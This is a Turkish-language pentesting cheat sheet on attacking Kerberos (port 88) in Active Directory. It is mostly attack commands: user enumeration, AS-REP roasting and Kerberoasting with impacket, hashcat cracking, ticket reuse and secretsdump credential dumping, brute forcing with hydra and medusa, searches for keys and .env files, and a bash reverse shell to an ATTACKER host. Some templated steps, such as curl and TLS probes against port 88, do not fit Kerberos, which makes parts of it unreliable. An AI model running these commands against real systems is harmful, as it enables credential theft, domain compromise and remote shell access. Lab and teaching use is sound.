Skip to content

88tcp/udp - Pentesting Kerberos

Kerberos ad

Kerberos AD kimlik merkezidir. User enum, AS-REP roast, Kerberoast ve ticket theft lateral üretir. Hedef lab IP’si üzerinde komutları 88 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 88/TCP-UDP.

  2. User enum.

  3. Roasting.

  4. Ticket reuse.

Terminal window
nmap -Pn -sV -p88 TARGET
Terminal window
nmap -Pn -p88 --script krb5-enum-users TARGET
Terminal window
nxc ldap TARGET -u users.txt -p '' --users
Terminal window
kerbrute userenum --dc TARGET -d DOMAIN users.txt
Terminal window
impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip TARGET -no-pass
Terminal window
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip TARGET -request
Terminal window
hashcat -m 13100 roast.txt rockyou.txt
Terminal window
impacket-getTGT DOMAIN/user:pass -dc-ip TARGET
Terminal window
export KRB5CCNAME=user.ccache
Terminal window
impacket-secretsdump -k -no-pass DOMAIN/TARGET

tcp/udp - Kerberos için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p88 TARGET
Terminal window
nmap -Pn -p88 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:88' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',88));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → tcp/udp - Kerberos
Terminal window
hydra -L users.txt -P rockyou.txt -s 88 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 88
Terminal window
nmap -p88 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Kerberos
Terminal window
msfconsole -q -x 'search Kerberos; exit'
Terminal window
nuclei -u https://TARGET:88 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:88 -tags tech -silent || true
Terminal window
nc -nv TARGET 88
Terminal window
printf '
' | timeout 3 nc -nv TARGET 88
Terminal window
curl -vk --http1.0 http://TARGET:88/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
enum → roast/crack → TGT → secretsdump